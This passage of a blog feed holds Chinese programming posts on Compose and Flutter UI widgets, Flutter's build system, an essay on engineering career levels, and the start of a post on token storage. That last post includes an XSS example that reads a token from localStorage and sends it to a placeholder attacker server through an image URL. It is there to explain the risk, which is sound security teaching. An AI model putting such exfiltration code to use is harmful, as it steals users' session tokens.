本文一个定制样式的SwitchButton,使用Compose来写是非常容易的,下面先来看看我们对外提供如下方法:


@Composeable
fun IosSwitchButton(
modifier: Modifier,
checked: Boolean,
width: Dp = 50.dp,
height: Dp = 30.dp,
// Thumb和Track的边缘间距
gapBetweenThumbAndTrackEdge: Dp = 2.dp,
checkedTrackColor: Color = Color(0xFF4D7DEE),
uncheckedTrackColor: Color = Color(0xFFC7C7C7),
onCheckedChange: ((Boolean) -> Unit)
)

我们先来实现点击切换,后面再来实现滑动切换,checked状态是需要外面(ViewModel)传过来,同样onCheckedChange回调的状态,需要同步更新到ViewModel中。


我们来简单的看看,只实现,点击切换按钮状态的效果代码:


// 定义按钮点击的状态记录
val switchONState = remember { mutableStateOf(checked) }
// Thumb的半径大小
val thumbRadius = height / 2 - gapBetweenThumbAndTrackEdge
// Thumb水平的位移
val thumbOffsetAnimX by animateFloatAsState(
targetValue = if (checked)
with(LocalDensity.current) { (width - thumbRadius - gapBetweenThumbAndTrackEdge).toPx() }
else
with(LocalDensity.current) { (thumbRadius + gapBetweenThumbAndTrackEdge).toPx() }
)
// Track颜色动画
val trackAnimColor by animateColorAsState(
targetValue = if (checked) checkedTrackColor else uncheckedTrackColor
)

上面的准备工作做完,我们就需要用到Canvas 来绘制ThumbTrack,按钮的点击我们需要用ModifierpointerInput修饰符提供点按手势检测器:


Modifier.pointerInput(Unit) {
detectTapGestures(
onPress = { /* Called when the gesture starts */ },
onDoubleTap = { /* Called on Double Tap */ },
onLongPress = { /* Called on Long Press */ },
onTap = { /* Called on Tap */ }
)
}

看看我们的Canvas


Canvas(
modifier = modifier
.size(width = width, height = height)
.pointerInput(Unit) {
detectTapGestures(
onTap = {
// 更新切换状态
switchONState.value = !switchONState.value
onCheckedChange.invoke(switchONState.value)
}
)
}
) {
// 这里绘制Track和Thumb
}

绘制Track,我们需要更新drawRoundRectcolor值,我们使用上面根据checked状态变更后的trackAnimColor颜色值:


drawRoundRect(
color = animateTrackColor,
// 圆角
cornerRadius = CornerRadius(x = height.toPx(), y = height.toPx())
)

绘制Thumb,我们需要更新drawCircle里面的中心坐标X轴数值,我们使用状态变更后的动画值thumbOffsetAnimX


drawCircle(
color = Color.White,
// Thumb的半径
radius = thumbRadius.toPx(),
center = Offset(
x = thumbOffsetAnimX,
y = size.height / 2
)
)

上面实现只有点击功能,效果如下:


2022-08-22 20_43_58.gif
只能点击


GIF录制的效果不太明显,实际上根据大家个人的需求,如果只是为了点击能切换,上面的十几行代码就足够了;




当然我们对效果还是有追求的,请继续往下看,我们来看,如何实现滑动切换,我们还是看一下最后实现可滑动,可点击的效果吧,方便我们下面讲解:


111111.gif
可滑动,可点击,动画连贯


一定要记得:『点赞❤️+关注❤️+收藏❤️』起来,划走了可就再也找不到了😅😅🙈🙈


既然要用到滑动,那么我们就需要使用到Modifierswipeable修饰符



允许我们通过锚点设置,实现组件呈现吸附效果的动画,常用于开关等动画,需要注意的是:swipeable不会为被修饰的组件提供任何默认动画,只能为组件提供手势偏移量等信息。可以根据偏移量结合其他修饰符定制动画。



我们这里需要同时实现“点击”和“滑动”,这里需要把这2个修饰符组合到一个扩展文件里面,我们创建一个IOSSwitchModifierExtensions.kt文件:


// IOSSwitchModifierExtensions.kt

@ExperimentalMaterialApi
internal fun Modifier.swipeTrack(
anchors: Map<Float, Int>,
swipeableState: SwipeableState<Int>,
onClick: () -> Unit
) = composed {
this.then(Modifier
.pointerInput(Unit) {
detectTapGestures(
onTap = {
// 点击回调
onClick.invoke()
}
)
}
.swipeable(
state = swipeableState,
anchors = anchors,
thresholds = { _, _ ->
// 锚点间吸附效果的临界阈值
FractionalThreshold(0.3F)
},
// 水平方向
orientation = Orientation.Horizontal
)
)
}

我们下面会用到这个扩展方法,我们可以看到swipeable修饰符,需要SwipeableStateanchors


初始化swipeableState


val swipeableState = rememberSwipeableState(initialValue = 0, animationSpec = tween())

我们还需要初始化anchors设置在不同状态时对应的偏移量信息:


// Thumb的半径
val thumbRadius = (height / 2) - gapBetweenThumbAndTrackEdge
// 开始的锚点位置
val startAnchor = with(LocalDensity.current) {
(thumbRadius + gapBetweenThumbAndTrackEdge).toPx()
}
// 结束的锚点位置
val endAnchor = with(LocalDensity.current) {
(width - thumbRadius - gapBetweenThumbAndTrackEdge).toPx()
}
// 根据上面的注释,很明显了
val anchors = mapOf(startAnchor to 0, endAnchor to 1)

到这里,我们需要如何继续呢,我仍然是通过录制视频,然后通过一帧一帧的去分析IOS样式switch动画效果来做的。


我们先看最终效果图,然后继续往下拆解:


111111.gif


可以看到,拖动Thumb的时候,灰色的矩形区域是缩小的,然后蓝色部分是一个颜色渐变动画,同样的,点击也是需要做对应的工作。


大家先思考一下,点击和滑动怎么做到一样的?


我们发现Swipeable有个animateTo方法,那这不就好使了吗?对不对


// 代码来自androidx.compose.material.Swipeable.kt
// 通过动画将状态设置为targetValue
suspend fun animateTo(targetValue: T, anim: AnimationSpec<Float> = animationSpec)

来了一个点,第二个点,第三个点,都来了:


// 因为animateTo是挂起函数,我们需要在coroutineScope.launch里面执行
val scope = rememberCoroutineScope()

从上面看到这里的小伙伴,应该知道,我们上面定义了一个IOSSwitchModifierExtensions.kt文件,我们在swipeTrack的onClick方法里面执行animateTo,其实这个animateTo只是更新我们当前的checked状态而已。


Canvas(
modifier = modifier
.size(width = width, height = height)
.swipeTrack(
anchors = anchors,
swipeableState = swipeableState,
onClick = {
scope.launch {
swipeableState.animateTo(if (!switchONState.value) 1 else 0)
}
}
)
) {
// 选中状态下的Track背景
// 未选中状态下的Track背景
// Thumb
}

接下来,应该怎么继续呢,我觉得大家可以先思考一下,再继续往下看。


刚刚上面,提到了有2个Track背景,一个背景是颜色渐变动画,一个是缩放动画。


Compose的Canvas怎么写scale呢? 别急,我们可以在源码和文档中找到Canvas#scale


不仅仅可以scale,还可以rotate、insert、translate等等。


还有一个问题,背景颜色渐变动画,我们要用animate*AsState来做吗?
animate*AsState 函数是 Compose 中最简单的动画 API,用于为单个值添加动画效果。您只需提供结束值(或目标值),该 API 就会从当前值开始向指定值播放动画。


我们发现animate*AsState并不是我们想要的,我们想要的是

滑动的时候根据“当前滑动移动的距离”来更新Track背景色渐变


没有用Compose的时候,我们可以用初始化一个ArgbEvaluator,然后调用:


argbEvaluator.evaluate(fraction, startColor, stopColor)

在Compose中,我们应该怎么做呢?
我们发现Color.kt中的一个方法lerp
androidx.compose.ui.graphics.ColorKt#lerp


上面的疑惑全部解开,下面就看看我们剩下的实现吧:


// 未选中状态下的Track的scale大小(0F - 1F)
val unCheckedTrackScale = rememberSaveable { mutableStateOf(1F) }
// 选中状态下Track的背景渐变色
val checkedTrackLerpColor by remember {
derivedStateOf {
lerp(
// 开始的颜色
uncheckedTrackColor,
// 结束的颜色
checkedTrackColor,
// 选中的Track颜色值,根据缩放值计算颜色【转换的渐变进度】
min((1F - unCheckedTrackScale.value) * 2, 1F)
)
}
}

LaunchedEffect(swipeableState.offset.value) {
val swipeOffset = swipeableState.offset.value
// 未选中的Track缩放大小
var trackScale: Float
((swipeOffset - startAnchor) / endAnchor).also {
trackScale = if (it < 0F) 0F else it
}
// 未选中的Track缩放大小更新,上面👆👆的:选中的Track颜色值,是根据这个来算的
unCheckedTrackScale.value = 1F - trackScale
// 更新开关状态
switchONState.value = swipeOffset >= endAnchor
// 回调状态
onCheckedChange.invoke(switchONState.value)
}

所以,我们的Canvas里面Track和Thumb最终颜色和缩放,是根据上面计算出来的值来更新的:


Canvas(
modifier = modifier.size(...).swipeTrack(...)
) {
// 选中状态下的背景
drawRoundRect(
//这种的不再使用:Color(ArgbEvaluator().evaluate(t, AndroidColor.RED, AndroidColor.BLUE) as Int)
color = checkedTrackLerpColor,
cornerRadius = CornerRadius(x = height.toPx(), y = height.toPx()),
)
// 未选中状态下的背景,随着滑动或者点击切换了状态,进行缩放
scale(
scaleX = unCheckedTrackScale.value,
scaleY = unCheckedTrackScale.value,
pivot = Offset(size.width * 1.0F / 2F + startAnchor, size.height * 1.0F / 2F)
) {
drawRoundRect(
color = uncheckedTrackColor,
cornerRadius = CornerRadius(x = height.toPx(), y = height.toPx()),
)
}
// Thumb
drawCircle(
color = Color.White,
radius = thumbRadius.toPx(),
center = Offset(swipeableState.offset.value, size.height / 2)
)
}

经过上面的漫长分析和实现,最终效果如下:


111111.gif


源码地址ComposeIOSSwitchButton


作者:Halifax
链接:https://juejin.cn/post/7134702107742961701
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter 的 build 系统(一)

前言对于Flutter开发者来说,build_runner 可以说并不是一个陌生的东西,很多package中就要求调用build_runner 来自动生成处理代码,比如说json_serializable;但正如其描述中所述的那样,其是通过 Dart...
继续阅读 »

前言

对于Flutter开发者来说,build_runner 可以说并不是一个陌生的东西,很多package中就要求调用build_runner 来自动生成处理代码,比如说json_serializable;

但正如其描述中所述的那样,其是通过 Dart Build System来实现的,build_runner 和其又是一个什么关系,接下来就来学习一下dart的build系统

dart 的 build 系统

组成

dart 的 build系统,由 build_config、 build_modulesbuild_resolvers、 build_runner、 build_test、 build_web_compilers 共同组合、完成了dart 的 build 系统;

  • build_config 就是解析那个build.yaml文件,用来配置build_runner,没什么好说的,具体的功能后面再细说;
  • build_modules 好像是解析module级别信息的一个库
  • build_resolvers 从自述文件中分析,好像是一个给build_runner 每步提供所需信息的解析器?
  • build_runner 整个build系统的核心部分,其他部分都是为了拓展和实现此功能而存在的;
  • build_test 字面意思,一个测试库;
  • build_web_compilers 用于web端的build系统;

作用

Flutter的build系统其实就是生成代码,对标的应该是JAVA的APT这块的东西;

另外,对于 dart 的 build 系统,官方是有这么一段介绍:

Although the Dart build system is a good alternative to reflection (which has performance issues) and macros (which Dart’s compilers don’t support), it can do more than just read and write Dart code. For example, the sass_builder package implements a builder that generates .css files from .scss and .sass files.

也就是说dart build理论上是可以来做很多人心心念念的反射的;

基本使用

如果仅仅是使用方面来说,build_runner 的使用非常简单;比如说我们最常用的一条命令就是:

flutter pub run build_runner build

也可以配置build.yaml来修改配置信息,生成符合需要的代码;

不过在输入上面那句build_runner build之后发生了什么,像build_config之类的在这个过程中各自起了什么作用,这就需要追踪一下;

build_runner 都干了什么

image.png

根据日志信息,build_runner 的流程基本遵循这样一个套路:

  • 生成和预编译build脚本
  • 处理输入环境和资源
  • 根据前面的脚本和输入信息,开始正式执行builder生成代码;
  • 缓存信息,用于下一回生成代码的时候增量判断使用;

接下来就看下这些编译脚本、输入环境、资源等不知所云的东西,到底是什么;

生成和预编译build脚本

生成部分:

首先来到build_runner的main函数部分,前面一大片对参数检测的拦截判断,真正执行命令的地方放在了最后:

image.png

在这个方法中最先做的事就是生成build脚本

image.png

其内容也很简单,说白了就是输出一个文件而已:

image.png

至于这个文件内容是什么,有什么用,先放到后面再说;现在先关注于整体流程;

那么现在可以得知,这步会在scriptLocaton这个路径上生成一个build脚本;而这个路径也不难得到:

image.png image.png image.png

其实就是 .dart_tool/build/entrypoint/build.dart 这个文件;

预编译部分:

在上面贴的generateAndRun方法中,生成文件之后就会执行一个 _createKernelIfNeeded 方法,其作用也正如其名,检测是否需要就创建内核文件;

image.png

image.png

而这个内核文件,也就是后缀为build.dart.dill 文件

image.png

同时,在这里也提到了一个新的概念:assetGraph,不过这些也是后面再细看的东西;

处理输入环境和资源

在编译完build脚本生成内核后,下面就是执行这个内核文件;在这里新开了一个isolate去执行这个文件:

image.png

接下来就该看下这个内核文件到底是什么……但是呢,内核文件这东西,本来就不是给人看的………………所以呢,可以从另一方面考虑下,比如说,既然内核文件看不了,那我就看内核文件的从哪编译来的,反正逻辑上也是大差不差,完全可以参考;

正好内核文件的来源,也就是那个build脚本,其位置在上面也提到过了;在我测试代码中,它最后是这样的:

image.png 其中的这个_i10,正是build_runner……看来兜兜转转又回来了?

应该说回来了,但没完全回来,上面提到的build_runner是bin目录下的;这次的build_runner是lib目录下的,入口还是不一样的;

在这里,build_runner build中的build这个参数才真正识别并开始执行;前面都是前戏;而执行这个build命令的是一个名为BuildCommandRunner的类,其内部内置了包括build在内的诸多函数命令:

image.png

由于测试的指令参数为build,所以命中的commend为 BuildCommand;而 BuildCommand 所做的事也基本集中在 src/generate/build.dart 这个文件中的build方法中了;自此开始真正去执行build_runner对应Builder中要求做的事;

其build方法所做的事还是比较容易看懂的:

image.png

  1. 配置环境(包括输入输出配置)
  2. 配置通用选项(build时候的配置项目)
  3. 调用BuildRunner.create创建Builder和生成所需数据,最后调用run执行;

而这部分所说的处理输入环境和资源就在 BuildRunner.create 这部分中;其会调用 BuildDefinition.prepareWorkspace方法;

image.png

而在这里就出现了上面提到的assetGraph,这里就是其创建和使用的地方:

image.png

所以,最终总结一下,处理输入环境和资源 这个环节所做的事就是根据配置生成输入输出、build过程中所需的各种参数,提供assetGraph这个东西;

具体这些配置入口在哪,从何而来,assetGraph又是什么东西,有什么作用,后面再看;

正式执行builder生成代码

这部分就是刚才提到的调用run方法的地方;

image.png

它的run方法咋看好像也不难懂的样子,主要是各种新名词有点多:

image.png

不过现在只跟随build流程来说的话,核心应该事其中的_safeBuild方法:

image.png

其所做的事,除了各种心跳log之外,应该就是更新assetGraph;执行_runPhases;另外毕竟事safeBuild嘛,所以新开了一个zone来处理;

image.png

_runPhases所做的事就是真正去执行build所做的事,生成代码之类的;比如说json_serializable中的build,就会走_runBuilder部分并最终调用runBuilder中的builder.build,也就是自定义Builder中需要自己实现的部分;

image.png

对了,关于像json_serializable的自定义Builder从何而来的问题,答案是一开始就已经集成进来了,在builder.dart中已经出现了其身影:

image.png

不过为什么build.dart 能得知具体有哪些builder?比如说json_serializable中的builder,是怎么加入到build.dart中的,那也是后面要看的东西;

缓存信息

再次回到 _safeBuild 这块,缓存信息的部分紧贴着run部分:

image.png

好像就写了一下文件,没了?

结语

这篇大体粗略的过了一下build这个命令都干了什么;不过像生成的文件内部结构、作用;配置信息来源,如何解析之类的问题还未解决;在后面会依次看看;

最后尝试实现一份自己的自定义Builder;


作者:lwlizhe
链接:https://juejin.cn/post/7133488621180420126
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

收起阅读 »

【Flutter】实现自定义TabBar主题色配置

需求背景 首页开发需求要求实现每个频道具备不同主题色风格,因此需要实现TabBar每个Tab具备自己主题色。Flutter官方提供TabBar组件只支持设置选中和非选中条件标签颜色并不支持配置不同更多不同配置色,TabBar组件配置项为labelColor和u...
继续阅读 »

需求背景


首页开发需求要求实现每个频道具备不同主题色风格,因此需要实现TabBar每个Tab具备自己主题色。Flutter官方提供TabBar组件只支持设置选中和非选中条件标签颜色并不支持配置不同更多不同配置色,TabBar组件配置项为labelColorunselectedLabelColor两者。因此若需要自定义实现支持配置主题色TabBar组件。


Video_20220820_045352_279.gif


改造实现详解


TabBar切换字体抖动问题解决


这在此之前文章中有提到过解决方案,主要实现逻辑是将原先切换动画替换为缩放实现,规避了动画实现出现的抖动问题。


解决方案


TabBar切换字体主题色实现



  1. TabBar入参提供每个Tab的颜色配置: final List labelColors;

  2. 找到TabBar切换逻辑代码【_TabBarState】:【_buildStyledTab】


_buildStyledTab中TabStyle方法负责构建每个Tab样式,调整该方法增加构建当前TabStylePositioncurrentPosition,分别为对应Tab的样式和当前选中Tab的样式


Widget _buildStyledTab(Widget child,int position,int currentPosition, bool selected, Animation<double> animation,TabController controller) {
Color labelColor;
Color unselectedLabelColor;
labelColor = widget.labelColors[position];
unselectedLabelColor = widget.labelColors[currentPosition];
return _TabStyle(
animation: animation,
selected: selected,
labelColors: widget.labelColors,
labelColor: labelColor,
unselectedLabelColor: unselectedLabelColor,
labelStyle: widget.labelStyle,
unselectedLabelStyle: widget.unselectedLabelStyle,
tabController:controller,
child: child,
);
}


  1. 调整_TabStyle方法内部逻辑


增加以下代码逻辑通过TabController获取当前选中Tab定位并且增加渐变透明度调整


// 判断是否是临近的下一个Tab
bool isNext = false;
// 透明度不好计算呀
double opacity = 0.5;
// 当前选中的Tab
int selectedValue = tabController.index;
selectedColor = labelColors[selectedValue];
// 当前偏移方向
if (tabController.offset > 0) {
unselectedColor = labelColors[selectedValue + 1];
isNext = false;
} else if (tabController.offset < 0) {
isNext = true;
unselectedColor = labelColors[selectedValue - 1];
} else {
unselectedColor = selectedColor;
}
if (unselectedColor != Color(0xFF333333)) {
opacity = 0.9;
}

final Color color = selected
? Color.lerp(selectedColor, unselectedColor.withOpacity(opacity),
colorAnimation.value)
: unBuild
? Color.lerp(selectedColor.withOpacity(opacity),
unselectedColor.withOpacity(opacity), colorAnimation.value)
: Color.lerp(
selectedColor.withOpacity(opacity),
unselectedColor.withOpacity(isNext ? 1 : opacity),
colorAnimation.value);


  1. CustomPaint组件同样也需要增加选中色值设置


    Color labelColor;
Color unselectedLabelColor;
labelColor = widget.labelColors[_currentIndex];
unselectedLabelColor = widget.labelColors[_currentIndex];
final Animation<double> animation = _ChangeAnimation(_controller);

Widget magicTabBar = CustomPaint(
painter: _indicatorPainter,
child: _TabStyle(
animation: animation,
selected: false,
unBuild: true,
labelColor: labelColor,
unselectedLabelColor: unselectedLabelColor,
labelColors: widget.labelColors,
labelStyle: widget.labelStyle,
unselectedLabelStyle: widget.unselectedLabelStyle,
tabController: widget.controller,
child: _TabLabelBar(
onPerformLayout: _saveTabOffsets,
children: wrappedTabs,
),
),
);

TabBar指示器自定义


官方提供TabBar的选中指示器长度是跟随Tab宽度不能做到固定宽度,且当改造TabBar主题色之后也期望指示器支持跟随主题色变化。



  1. 自定义指示器继承Decoration增加三个入参TabControllerList<Color>width

  2. _UnderlinePainter增加当前选中Tab逻辑来确定主题色选择。


    double page = 0;
int realPage = 0;
page = pageController.index + pageController.offset ?? 0;
realPage = pageController.index + pageController.offset?.floor() ?? 0;
double opacity = 1 - (page - realPage).abs();
Color thisColor = labelColors[realPage];
thisColor = thisColor;
Color nextColor = labelColors[
realPage + 1 < labelColors.length ? realPage + 1 : realPage];
nextColor = nextColor;


  1. _indicatorRectFor方法修改指示器宽度方法,计算出Tab的中心位置再根据设置宽度绘制最终偏移量位置信息。


final Rect indicator = insets.resolve(textDirection).deflateRect(rect);
double midValue = (indicator.right - indicator.left) / 2 + indicator.left;
return Rect.fromLTWH(
midValue - width / 2,
indicator.bottom - borderSide.width,
width,
borderSide.width,
);

最终效果


🚀详细代码看这里🚀


Video_20220820_045414_26.gif


作者:JulyYu
链接:https://juejin.cn/post/7133880100914724871
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter StatefulBuilder实现局部刷新

前言 flutter项目中,在页面数据较多的情况下使用全量刷新对性能消耗较大且容易出现短暂白屏的现象,出于性能和用户体验方面的考虑我们经常会使用局部刷新代替全量刷新进行页面更新操作。 GlobalKey、ValueNotifier和StreamBuilder等...
继续阅读 »

前言


flutter项目中,在页面数据较多的情况下使用全量刷新对性能消耗较大且容易出现短暂白屏的现象,出于性能和用户体验方面的考虑我们经常会使用局部刷新代替全量刷新进行页面更新操作。


GlobalKeyValueNotifierStreamBuilder等技术方案都可以实现Flutter页面的局部刷新,本文主要记录的是通过StatefulBuilder组件来实现局部刷新的方法。


页面的全量刷新


StatefulWidget内直接调用setState方法更新数据时,会导致页面重新执行build方法,使得页面被全量刷新。


我们可以通过以下案例了解页面的刷新情况:


 int a = 0;
 int b = 0;
 
 @override
 Widget build(BuildContext context) {
   return Scaffold(
     body: Center(
       child: Column(
         mainAxisAlignment: MainAxisAlignment.center,
         children: [
           // 点击按钮,数据‘a’加1,并刷新页面
           ElevatedButton(
             onPressed: () {
               a++;
               setState(() {});
            },
             child: Text('a : $a'),
          ),
           // 点击按钮,数据‘b’加1,并刷新页面
           ElevatedButton(
             onPressed: () {
               b++;
               setState(() {});
            },
             child: Text('b : $b'),
          ),
        ],
      ),
    ),
  );
 }

代码运行效果如图:


代码运行效果图


当我们点击第一个ElevatedButton组件时,会执行a++setState(() {})语句。通过系统的Flutter Performance工具我们可以捕获到组件刷新的情况,当执行到setState(() {})时,页面不只是刷新a数据所在的ElevatedButton组件,而是重新构建了页面,这会造成额外的性能消耗。


代码运行效果图组件实现情况


出于性能的考虑,我们更希望当点击第一个ElevatedButton组件时,系统只对a数据进行更新,b作为局外人不参与此次活动。我们可以通过StatefulBuilder组件来实现这个功能。


StatefulBuilder简介


StatefulBuilder组件包含了两个参数,其中builder参数为必传,不能为空:


 const StatefulBuilder({
     Key? key,
     required this.builder,
  }) : assert(builder != null),
 super(key: key);

builder 包含了两个参数,一个页面的context,另一个是用于状态改变时触发重建的方法:


 typedef StatefulWidgetBuilder = Widget Function(BuildContext context, StateSetter setState);
 final StatefulWidgetBuilder builder;

StatefulBuilder的实际应用


StatefulBuilder组件在实际应用中主要分成以下操作:



1、定义一个StateSetter类型的方法;


2、将需要局部刷新数据的组件嵌套在StatefulBuilder组件内;


3、调用第1步定义的StateSetter类型方法对StatefulBuilder内部进行刷新;



 int a = 0;
 int b = 0;
 
 // 1、定义一个叫做“aState”的StateSetter类型方法;
 StateSetter? aState;
 
 @override
 Widget build(BuildContext context) {
   return Scaffold(
     body: Center(
       child: Column(
         mainAxisAlignment: MainAxisAlignment.center,
         children: <Widget>[
           // 2、将第一个“ElevatedButton”组件嵌套在“StatefulBuilder”组件内;
           StatefulBuilder(
             builder: (BuildContext context, StateSetter setState) {
               aState = setState;
               return ElevatedButton(
                 onPressed: () {
                   a++;
                   // 3、调用“aState”方法对“StatefulBuilder”内部进行刷新;
                   aState(() {});
                },
                 child: Text('a : $a'),
              );
            },
          ),
           ElevatedButton(
             onPressed: () {
               b++;
               setState(() {});
            },
             child: Text('b : $b'),
          ),
        ],
      ),
    ),
  );
 }

重新运行后点击第一个按钮对a进行累加时,通过Flutter Performance工具我们可以了解到,只有StatefulBuilder组件及其包含的组件被重新构建,实现了局部刷新的功能,有效的提高了页面的性能;


代码运行效果图组件刷新情况


总结


StatefulWidget内更新一个属性会导致整个树重新构建,为防止这种不必要的性能消耗,可以通过StatefulBuilder组件进行局部刷新,有效的提高性能。


作者:zheng1998
链接:https://juejin.cn/post/7134335466614030344
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

为什么有些蛮厉害的人,后来都不咋样了

摆正初心我写这篇文章,初心是为了找到导致这样结果的原因,而不是站在一个高高在上的位置,对别人指手画脚,彰显自己多牛皮。(PS:我也鄙视通过打压别人来展示自己,你几斤几两,大家都是聪明人看得出来,如果你确实优秀,别人还打压,说明他急了,哈哈哈)思考结果我觉得是没...
继续阅读 »

前言


写这篇文章目的是之前在一篇文章中谈到,我实习那会有个老哥很牛皮,业务能力嘎嘎厉害,但是后面发展一般般,这引起我的思考,最近有个同事发了篇腾讯pcg的同学关于review 相关的文章,里面也谈到架构师的层次,也再次引起我关于架构师的相关思考,接下来我们展开聊聊吧~

摆正初心


我写这篇文章,初心是为了找到导致这样结果的原因,而不是站在一个高高在上的位置,对别人指手画脚,彰显自己多牛皮。(PS:我也鄙视通过打压别人来展示自己,你几斤几两,大家都是聪明人看得出来,如果你确实优秀,别人还打压,说明他急了,哈哈哈)

查理芒格说过一句话:如果我知道在哪里会踩坑,避开这些,我已经比很多人走得更远了。

思考结果


我觉得是没有一个层级的概念导致的,这个原因筛掉了大部分人,突破层级的难度筛掉了另外一批人,运气和机会又筛掉另一波人。

没有层级概念

为什么这么讲呢?

我们打游戏的时候,比如说王者,会有废铁、青铜、钻石、铂金、荣耀、荣耀王者,对吧。它的层级大家都清楚,但是在现实生活中,你会闷逼了,我当前处在那个阶段,上一层是什么水平,需要什么技能,什么样的要求。

其次也会对自己能力过高的评价,如果你一直在组里面,你可能一直是一把手,到了集团,可能变成10名内,到了公司排名,可能几百名后。我们需要站在一个更高、更全面的角度去了解自己的位置。

出现这种情况也很正常

举个栗子,以前我实习那会,有个老哥业务能力特别强,啥活都干得快,嘎嘎牛皮,这是个背景

如果团队里头你最厉害了,那你的突破点,你的成长点在哪里?

对吧,大家都比你菜了,自然你能从别人身上学习到的就少了,还有一种情况是你觉得你是最厉害的,这种想法也是最要命的,会让你踏步不前。这时的解法,我认为是自驱力,如果你学哲学,就知道向内求,自我检讨,自己迭代更新,别人就是你,你就是别人,别人只是一面镜子。

层级的概念

那时看到他搞业务特别厉害,但现在看是做需求厉害,但是缺乏深度。我对比以前的开发经历,跟现在在架构组的工作经历,感受很明显。一个是为了完成任务,一个需要深度,什么深度呢?这个埋下伏笔,为后面架构师层级再展开聊聊。

从初级到中级,到高级,再到主程、再到TL,技术经理,再到架构师,再到负责人。当完成任务的时候,是最基本的事情,深入的时候,从coding入手,在代码上有所追求,比如说可读性,用用设计模式,再深入想到代码可扩展性。。。

当你了解下一个层级的要求的时候,有了目标才能有效的突破它。

突破层级的难度

这是在上一个原因基础上一个加强版,你了解了各个层级的要求,但是突破这些要求,可能由于阅历,或者能力,或者天赋不足,导致突破困难。


这里我想聊聊架构师的思考,之前在转正答辩上,一个领导问我你怎么理解架构的,我当时没有概念,但是接触相关工作以及观看相关文章,有了更深理解。

  • 腾讯工程师,万字长文说 Code Review

这里讲的是coding部分,属于架构师负责的一部分,规范

我不禁想想平时什么工作内容涉及到这个?

比如说契约,规定了依赖jar版本;定义了协议,什么类型输出的格式,转换的类型;开发的规范,设计文档的样式;像文中review的过程,确实比较少,目的是为了减少代码的坏味道。就像文中讲到,如果你定义的一个规范,可以在300+人里面hold,让系统一直在正常迭代,那么算合格的架构师。

一次广义上review

我一般下班会遇到基础服务的小伙伴聊聊天,我说话很少,就喜欢听听别人聊点什么,他跟我聊了几天,我发现问题是现有商品代码已经不足以支持业务的快速迭代,因为冗余其他东西太多了。比如说一个毛胚商品,然后它也快速的加上其他属性,变成一个加工品。但是现在场景变成了它就是一个加工品,你想拆成其他加工品,很困难,就是字段冗余到商品表里头了。

这个时候到架构已经不适合业务快速迭代了,需要重构,大破大立,还需要大佬牵头。review狭义上是代码层发现问题,如果你从一线同学那里听到的东西,能发现问题,也是一种review。

架构师不止规范,需要深度

需要什么深度呢?

从一个做需求的点看,从需求理解,这个是业务深度,从设计文档上,严谨程度,扩展性、风险点、可行性,设计深度。从开发阶段,coding,技术规范,技术功底,这个是技术深度

跳出需求的点,从大的面来看,需求为了解决什么问题,不做行不行,业务价值在哪里?做了这一期还有后续吗,这是业务的前景。然后规划是怎样的,先从哪里入手,然后有木有计划去推进?这是思考的深度

抽象的能力

  • 大咖们如何评判优秀架构师?

里面反复提到抽象的能力,比如说逻辑、物理架构图,这个有助于你理解整个系统的调用关系,形成闭环,可以从全局的角度去理解,我当前做的需求在什么位置,为了解决什么问题。

再到通过问题看到本质,从技术方案看到实质。有一次一位同学跟我探讨DDD,跟我说防腐层不应该是这样写的,你只是用了策略模式去写,应该有个一个门面,然后后面是实现逻辑。我听到这里就明白他被绕进去了,DDD是一个思想,他幻化出来一些对应的框架,它的精髓是高内聚、低耦合。你说策略模式,能否将外部rpc调用分隔开呢?当然可以,它算不算防腐层呢?也算~

最近一次做代码优化的时候,我用了责任链的设计模式,将190行的代码,拆分成4个模块,每个类大概30行,当然190行包括换行。但是实际效果除了行数变少外,每个模块分工特别清晰,这个模块在处理特定的逻辑,当某部分有问题的时候,直接找到那个模块修改即可。(这就是高内聚的魅力)

抽象另一种体现:模块化

最近在牵头做账单,其实我也没做过,我就找了几篇大厂的文章看看,拿来吧你,哈哈


分为几个步骤,下载账单,解析账单,对账,差异处理(平账)。是不是瞬间有了几个模块,文件模块,包括上传、下载,解析文件对吧。然后是账单模块,可能会分成订单,还有一些退款的,然后是对账处理结果,属于对账模块,文件解析出来的东西跟账单对比,哪些是对的上的,哪些又是异常的,这个模块还有后续的处理结果,自动平账,或者人工处理。

模块化也是高内聚的体现,这就是DDD的思想,只不过人家现在有名头而已~

运气

这个就不展开了,有点玄学,也看投胎,也看老天赏不赏饭吃。我觉得嘛,不管有没有有运气,都要不卑不亢,努力提升自己,很多结果我们决定不了的,但是过程我们可以说了算,人生不也是这样嘛,那就好好享受过程吧~


最后


《矛盾论》,还是里面的观点,我们需要全面的认识自己的定位,找到自己的优势,不断突破自我。有些厉害,只是暂时性的,而长远来看,只是冰山一角。


作者:大鸡腿同学
来源:juejin.cn/post/7133246541623459847

收起阅读 »

token到底该怎么存?你想过这个问题吗?

web
首先要明确我们的需求,如果是需要SSO(单点登录),那localStorage方案是不能选择的,因为本地存储是域名间互相隔离的,无法跨域名读取。从XSS角度看但我们仍然还是要考虑最糟糕的情况,我们应该如何避免token的泄露呢?因为本地存储是可以被JS任意读写...
继续阅读 »

token存cookie还是localStorage,存哪个更安全、哪个能实现需求,下面就该问题展开讨论。

首先要明确我们的需求,如果是需要SSO(单点登录),那localStorage方案是不能选择的,因为本地存储是域名间互相隔离的,无法跨域名读取。

如果SSO是通过跳转到认证中心进行登录态校验,然后回跳携带token的方式(类似第三方微信登录),那localStorage也是可行的,但体验就没有那么好了,具体需要进行取舍。

从XSS角度看

XSS攻击的危害是非常大的,所以我们无论如何都是要避免的;不过幸运的是,大部分XSS攻击浏览器都帮我们进行了有效的处理。

但我们仍然还是要考虑最糟糕的情况,我们应该如何避免token的泄露呢?

localStorage

因为本地存储是可以被JS任意读写的,攻击者可以如果成功的进行了XSS,那么存在本地存储中的token,会被轻松拿到,甚至被发送到攻击者的服务器存储起来。

  // XSS
 const token = localStorage.getItem('token')
 const image = new Image()
 image.src = `攻击者的服务器地址?token=${token}`

cookie

如果cookie不做任何设置,和localStorage基本一致,被XSS攻击时也可以轻松的拿到token。

  // 以下代码来自MDN
 // https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie
 const getCookie = (key) => {
